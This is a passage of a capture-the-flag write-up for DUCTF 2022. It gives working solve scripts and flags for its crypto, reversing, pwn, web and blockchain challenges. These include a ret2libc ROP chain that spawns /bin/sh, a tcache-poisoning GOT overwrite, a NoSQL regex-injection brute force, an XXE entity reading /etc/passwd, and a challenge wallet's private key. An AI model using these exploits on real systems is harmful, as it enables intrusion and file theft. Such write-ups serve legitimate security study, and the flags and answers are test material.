    dec += xor(ct1[i: i+16], ct2[i-16: i], dec[-16:])

DUCTF{0fb_mu5t_4ctu4lly_st4nd_f0r_0bvi0usly_f4ul7y_bl0ck_c1ph3r_m0d3_0f_0p3ra710n_7b9cb403e8332c980456b17a00abd51049cb8207581c274fcb233f3a43df4a}

baby arx

279 solves

baby-arx.py
class baby_arx():
    def __init__(self, key):
        assert len(key) == 64
        self.state = list(key)

    def b(self):
        b1 = self.state[0]
        b2 = self.state[1]
        b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
        b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
        b = (b1 + b2) % 256
        self.state = self.state[1:] + [b]
        return b

    def stream(self, n):
        return bytes([self.b() for _ in range(n)])


FLAG = open('./flag.txt', 'rb').read().strip()
cipher = baby_arx(FLAG)
out = cipher.stream(64).hex()
print(out)

# cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b

Each element of state is 1 byte. This can be found by full search.

solve.py
from binascii import unhexlify


out = unhexlify("cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b")

flag = list(b"D")
b1 = b"D"[0]
for i in range(64):
    b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
    for j in range(256):
        b2 = (j ^ ((j >> 5) | j << 3)) & 0xff
        if (b1 + b2) & 0xff == out[i]:
            flag += bytes([j])
            break
    b1 = j
print(bytes(flag))

DUCTF{i_d0nt_th1nk_th4ts_h0w_1t_w0rks_actu4lly_92f45fb961ecf420}

rev

xva

30 solves

solve.py
from Crypto.Util.number import long_to_bytes
from z3 import *

s = Solver()
inp_short = [BitVec(f"inp_{hex(i)[2]}", 16) for i in range(16)]

for i in range(16):
    s.add(inp_short[i] & 0xff < 127)
    s.add(inp_short[i] & 0xff >= 32)
    s.add(inp_short[i] & 0xff00 < 127 * 256)
    s.add(inp_short[i] & 0xff00 >= 32 * 256)

tmp = 0
for i in range(16):
    tmp += inp_short[i]
s.add(tmp == 0x5dc44)

res_add = []
for i in range(16):
    res_add.append(inp_short[i] + 0x419b)

perm_list1 = [3, 1, 0, 6, 7, 4, 3, 1]
res_perm1 = []
for p in perm_list1:
    res_perm1.append(res_add[2 * p])
    res_perm1.append(res_add[2 * p + 1])
perm_list2 = [1, 0, 3, 2, 6, 7, 4, 5]
res_perm2 = []
for p in perm_list2:
    res_perm2.append(res_add[2 * p])
    res_perm2.append(res_add[2 * p + 1])

res_mul = []
for i in range(16):
    res_mul.append(res_perm2[i] * res_add[i])

res_sub = []
for i in range(16):
    res_sub.append(res_mul[i] - res_perm1[i])

target = [0x85765e6f, 0x7b761fa8, 0x5306ec9, 0xbd5d8cfa, 0xc2db0af6, 0x6cf52153, 0xabec2bcd, 0x5c211278]
for i, t in enumerate(target):
    s.add(res_sub[2*i] == (t & 0xffff))
    s.add(res_sub[2*i+1] == ((t & 0xffff0000) // 0x10000))

s.check()
m = s.model()
ans = b""
for i in range(16):
    ans = long_to_bytes(m[inp_short[i]].as_long())[::-1] + ans

DUCTF{A_V3ry_eXc3ll3n7_r3v3rs3r}

ezpz-rev

42 solves

solve.py
from collections import defaultdict
import numpy as np
from z3 import *

mem = np.array(list("aaaaabbbbcccddaaaaabbbbccccdaaeaaabbbccccdaaefaabbbcccgdeeefffffbccggdfeeffffggggggdfffffffhhhgggdffffhhhhhhgggdffijjjjhkkllmdiiijjkkkkkllmmiijjjkkkklllmmiijjjkkkklllmmijjjjjkknnllmmijjjjnnnnnllll"))
mem = mem.reshape(14, 14)

inp = [[Int(f"inp_{hex(i)[2]}{hex(j)[2]}") for j in range(14)] for i in range(14)]
s = Solver()
for i in range(14):
    for j in range(14):
        s.add(0 <= inp[i][j])
        s.add(inp[i][j] <= 1)
for i in range(14):
    tmp = 0
    for j in range(14):
        tmp += inp[i][j]
    s.add(tmp == 3)
for j in range(14):
    tmp = 0
    for i in range(14):
        tmp += inp[i][j]
    s.add(tmp == 3)

pos = defaultdict(list)
for i in range(14):
    for j in range(14):
        pos[mem[i, j]].append((i, j))

for c, pos_list in pos.items():
    tmp = 0
    for p in pos_list:
        tmp += inp[p[0]][p[1]]
    s.add(tmp == 3)


loc = [-1, -0xf, -0xe, -0xd, 1, 0xf, 0xe, 0xd]
for i in range(14):
    for j in range(14):
        for l in loc:
            if j == 0:
                tmp = l + 0xf
                if tmp < 0x1d:
                    continue
            if j == 13:
                continue
            if 0 <= 14*i + j + l < 0xc4:
                s.add(inp[i][j] + inp[i + (j + l) // 14][(j + l) % 14] <= 1)

s.check()
m = s.model()
ans = [[0 for _ in range(14)] for _ in range(14)]
for i in range(14):
    for j in range(14):
        ans[i][j] = m[inp[i][j]].as_long()

"".join(map(str, sum(ans, [])))

# 0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000

DUCTF{gr1d_puzzl3s_ar3_t00_ez_r1ght?}

pwn

ezpz-pwn

33 solves

solve.py
from pwn import *

# from ezpz-rev
ans = b"0101000000001000000101010000101000000001000000000101000110100000000100000010101000000100000000100100001010100000001000000010101000101000000000000000101010010101000000000000000001010100010101000000"

io = remote("2022.ductf.dev", 30005)
elf = ELF("./ezpz")
libc = ELF("./libc-2.35.so")

context.binary = elf

payload = ans + b"A" * 0x24
payload += p64(0x00000000004015d3)  # pop rdi ; ret
payload += p64(0x404018)  # elf.got("puts")
payload += p64(0x004010a0)  # elf.symbols["puts"]
payload += p64(0x4014a0)  # elf.symbols["main"]
io.sendline(payload)
_ = io.recvline()
_ = io.recvline()
addr_puts = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = addr_puts - libc.symbols["puts"]
print(f"{libc.address = :#x}")

rop = ROP([elf, libc])
rop.execv(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
payload = ans + b"A" * 0x24
payload += rop.chain()
io.sendline(payload)
io.interactive()

DUCTF{ez_r3t2l1bc_9b8a81cda3}

p0ison3d

71 solves

solve.py
from pwn import *

elf = ELF("./p0ison3d")
libc = ELF("./libc-2.27.so")
io = remote("2022.ductf.dev", 30024)


def add_note(idx: int, data: bytes):
    io.sendlineafter(b"choice:\n", b"1")
    io.sendlineafter(b"index:\n", str(idx).encode())
    io.sendlineafter(b"data:\n", data)


def edit_note(idx: int, data: bytes):
    io.sendlineafter(b"choice:\n", b"3")
    io.sendlineafter(b"index:\n", str(idx).encode())
    io.sendlineafter(b"data:\n", data)


def del_note(idx: int):
    io.sendlineafter(b"choice:\n", b"4")
    io.sendlineafter(b"index:\n", str(idx).encode())


add_note(0, b"AAAA")
add_note(1, b"BBBB")
add_note(2, b"CCCC")
del_note(2)
del_note(1)
edit_note(0, b"A" * 0x88 + p64(0x91) + p64(elf.got["puts"]))
add_note(1, p64(elf.symbols["win"]))
add_note(2, p64(elf.symbols["win"]))
io.interactive()

DUCTF{w3lc0ME_tO_tH3_h3ap_4nd_h4PPy_TC4che_p01s0nIng}

121 solves

solve.py
from pwn import *

io = remote("2022.ductf.dev", 30025)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Username length: ", b"0")
io.sendlineafter(b"Username: ", b"A" * 20 + p64(0x20021) + p64(0x1337) + b"A" * 8)

io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"Username length: ", b"0")
io.sendlineafter(b"Username: ", b"B" * 8)

io.sendlineafter(b"> ", b"2")
io.sendlineafter(b"Username: ", b"B" * 8)

io.interactive()

DUCTF{th3_4uth_1s_s0_bad_1t_d0esnt_ev3n_us3_p4ssw0rds}

web

noteworthy

60 solves

solve.py
import requests
from tqdm import tqdm

url_template = "https://web-noteworthy-873b7c844f49.2022.ductf.dev/edit?noteId=1337&contents[$regex]=^{flag}"
flag = "DUCTF"
for _ in range(100):
    for i in tqdm(range(32, 127)):
        c = chr(i)
        if c in "#&*+.; ?[]()":
            continue
        url = url_template.format(flag=flag+c)
        res = requests.get(url, cookies={"jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI2MzJlNmU0NTdiMDNiNjJhM2VhNzNiMjIiLCJpYXQiOjE2NjM5ODcyNzAsImV4cCI6MTY2NDU5MjA3MH0.pOPiuRekdydbxKykr4zNRu7vwHhZeCsGrrP0FXR1fGw"})
        if "You are not the owner of this note!" in res.text:
            flag += c
            print(flag)
            break

DUCTF{n0sql1_1s_th3_new_5qli}

dyslexxec

I modified xl/workbook.xml.

Add it at the beginning:

<!DOCTYPE data [
<!ENTITY secretData SYSTEM "file:///etc/passwd">
]>

Then the following

<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac"/>

is modified to

<x15ac:absPath url="/Users/Shared/" xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac">&secretData;</x15ac:absPath>

DUCTF{cexxelsyd_work_my_dyslexxec_friend}

blockchain

Solve Me

194 solves

(I didn't solve it during the competition)

solve.py
from web3 import Web3, HTTPProvider

# {"player_wallet":{"address":"0x858298422603353F539dB6885519450cF0145D1f","private_key":"0x2a58e449ea87976a5ad3b86da6b13af7f624eda31d379704fe681ac7a207c186","balance":"2.0 ETH"},"contract_address":[{"address":"0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8","name":"SolveMe.sol"}]}
private_key = "0x2a58e449ea87976a5ad3b86da6b13af7f624eda31d379704fe681ac7a207c186"
address = "0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8"

w3 = Web3(HTTPProvider("https://blockchain-solveme-e9aed84f3efebf2e-eth.2022.ductf.dev/"))

account = w3.eth.account.from_key(private_key)

# made by https://remix.ethereum.org/
abi = [
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "solveChallenge",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]

contract = w3.eth.contract(address=address, abi=abi)


def get_nonce(addr):
    return w3.eth.get_transaction_count(addr)


def get_transaction_body(addr):
    return {
        "nonce": get_nonce(addr),
        "gas": 1239137,
        "gasPrice": 21000000000,
        "value": 0,
        "from": addr,
    }


def send_transaction(addr, func_name: str):
    transaction_body = get_transaction_body(addr)
    function_call = contract.functions[func_name]().buildTransaction(transaction_body)
    signed_transaction = w3.eth.account.sign_transaction(function_call, private_key)
    result = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
    tx_hash = w3.eth.wait_for_transaction_receipt(result)
    return tx_hash


res = send_transaction(account.address, "solveChallenge")